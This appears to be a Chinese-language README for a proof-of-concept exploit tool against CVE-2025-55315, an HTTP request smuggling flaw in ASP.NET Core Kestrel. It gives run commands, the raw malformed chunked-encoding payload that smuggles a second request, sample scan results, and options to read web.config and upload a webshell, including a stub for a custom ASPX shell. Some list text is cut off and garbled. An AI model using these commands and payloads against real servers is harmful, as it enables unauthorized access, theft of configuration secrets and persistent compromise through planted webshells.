针对 ASP.NET Core Kestrel 的 HTTP 请求走私利用工具
本工具仅供授权安全测试使用！
专业的 CVE-2025-55315（ASP.NET Core Kestrel HTTP 请求走私漏洞）渗透测试工具。该工具专为单目标分析设计，具备全面的利用能力。
ASP.NET Core Kestrel Web 服务器中的一个严重 HTTP 请求走私漏洞（CVSS 9.9/10），允许攻击者：
受影响版本：
# Python 3.7 or higher
python3 --version
# No external dependencies - uses only standard library
# Clone or download the tool
git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
cd CVE-2025-55315-PoC-Exploit
# Make executable
chmod +x cve_2025_55315_PoC.py
python3 cve_2025_55315_PoC.py -t target.com
此操作将：
python3 cve_2025_55315_PoC.py -t target.com -e /api/login
python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt
python3 cve_2025_55315_PoC.py \
-t target.com \
--read-config \
--upload-shell \
-v \
-o full_report.txt
场景： 检查生产服务器是否存在漏洞
python3 cve_2025_55315_PoC.py -t api.mycompany.com
预计耗时： 30-60 秒
场景： 带详细输出的全面端点扫描
python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt
预计耗时： 2-5 分钟
场景： 测试特定的关键端点
python3 cve_2025_55315_PoC.py \
-t api.mycompany.com \
-e /api/payment/process \
-e /api/admin/users \
-e /api/internal/config \
-o critical_endpoints.txt
场景： 测试内部 HTTP 服务器
python3 cve_2025_55315_PoC.py \
-t internal-api.local \
-p 8080 \
--no-ssl
usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
[--no-ssl] [--read-config] [--upload-shell]
[-o OUTPUT] [-v] [--timeout TIMEOUT]
Required Arguments:
-t, --target Target hostname or URL (e.g., target.com)
Optional Arguments:
-p, --port Port number (default: 443 for SSL, 80 for non-SSL)
-e, --endpoint Specific endpoint(s) to test (can be used multiple times)
--no-ssl Disable SSL/HTTPS (use HTTP)
--read-config Attempt to read web.config file
--upload-shell Attempt webshell upload (requires confirmation)
-o, --output Save report to file
-v, --verbose Enable verbose output
--timeout Socket timeout in seconds (default: 10)
-h, --help Show help message
Target: old-api.company.com:443
Vulnerable: YES - CRITICAL
--- Server Information ---
server: Kestrel/8.0.15
kestrel_detected: True
http_version: 1.1
--- VULNERABLE ENDPOINTS (2) ---
✗ /api/login
Details: Request smuggling successful - multiple responses
✗ /api/health
Details: Request smuggling successful - multiple responses
--- SUCCESSFUL EXPLOITS ---
✓ web.config_read via /api/login
解读：
Target: new-api.company.com:443
Vulnerable: NO - SECURE
--- Server Information ---
server: Kestrel/9.0.10
kestrel_detected: True
http_version: 1.1
[SUCCESS] ✓ Endpoint NOT vulnerable (400 Bad Request)
✓ No vulnerable endpoints found - target may be patched
解读：
运行本工具前，请确保：
该工具利用畸形分块传输编码（chunked transfer encoding）来利用 CVE-2025-55315：
POST /endpoint HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
2;\n ← VULNERABILITY: Lone \n instead of \r\n
XX
0\r\n
\r\n
GET /smuggled HTTP/1.1 ← This becomes a separate request
Host: target.com
原理说明：
\n 视为行终止符 → 将其作为单个请求处理\n → 将走私的 GET 请求视为独立请求[ERROR] Connection failed: [Errno 111] Connection refused
解决方法：
ping target.com--no-ssl[ERROR] Connection failed: certificate verify failed
解决方法： 工具已禁用证书验证。如果问题仍然存在：
export PYTHONHTTPSVERIFY=0
python3 cve_2025_55315_PoC.py -t target.com
[WARNING] No response - possible timeout
解决方法：
--timeout 30[WARNING] Upload blocked (forbidden/method not allowed)
原因说明：
这是正常现象 - 并非所有易受攻击的系统都允许文件上传。
Microsoft 安全公告： https://github.com/dotnet/aspnetcore/issues/64033
Praetorian 研究（$10k 漏洞赏金）： https://www.praetorian.com/blog/how-i-found-the-worst-asp-net-vulnerability-a-10k-bug-cve-2025-55315/
Andrew Lock 的技术分析： https://andrewlock.net/understanding-the-worst-dotnet-vulnerability-request-smuggling-and-cve-2025-55315/
PortSwigger 研究： https://portswigger.net/web-security/request-smuggling
OWASP： https://owasp.org/www-community/attacks/HTTP_Request_Smuggling
编辑脚本中的 COMMON_ENDPOINTS：
COMMON_ENDPOINTS = [
'/your/custom/endpoint',
'/api/myapp/admin',
# Add your endpoints here
]
修改 upload_webshell() 方法：
def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
shell_content: str = None):
if not shell_content:
shell_content = '''
<!-- Your custom ASPX webshell here -->
'''
如果您发现 bug 或有改进建议：
-v-o debug.txtTHIS TOOL IS PROVIDED "AS IS" FOR EDUCATIONAL AND AUTHORIZED
SECURITY TESTING PURPOSES ONLY.
THE AUTHOR(S):
❌ Do NOT endorse illegal activities
❌ Are NOT responsible for misuse
❌ Are NOT liable for any damages
❌ Do NOT provide legal advice
BY USING THIS TOOL YOU AGREE:
✅ To use only on authorized systems
✅ To accept full legal responsibility
✅ To comply with all applicable laws
✅ To follow ethical hacking principles
UNAUTHORIZED USE IS STRICTLY PROHIBITED AND ILLEGAL!
本工具创建目的：
不适用于：
仅限教育和授权安全测试使用
本工具仅供教育和授权安全测试使用。严禁商业用途、再分发或用于恶意目的。
╔═════════════════════════════════════════════════════════════╗
║ ║
║ USE THIS TOOL RESPONSIBLY AND LEGALLY! ║
║ ║
║ Unauthorized access to computer systems is a CRIME. ║
║ Always obtain written permission before testing. ║
║ Follow responsible disclosure practices. ║
║ ║
║ Happy (Legal) Hacking! ║
║ ║
╚═════════════════════════════════════════════════════════════╝
| 服务器响应 | 解读 | 状态 |
|---|
400 Bad Request | Kestrel 拒绝了畸形分块 | ✅ 安全（已修补） |
多个 HTTP/1.1 | 收到两个独立响应 | ❌ 存在漏洞 |
500 或 502 | 内部服务器错误 | ⚠️ 可能存在漏洞 |
正常 200 OK | 请求被接受 | ⚠️ 无法确定 |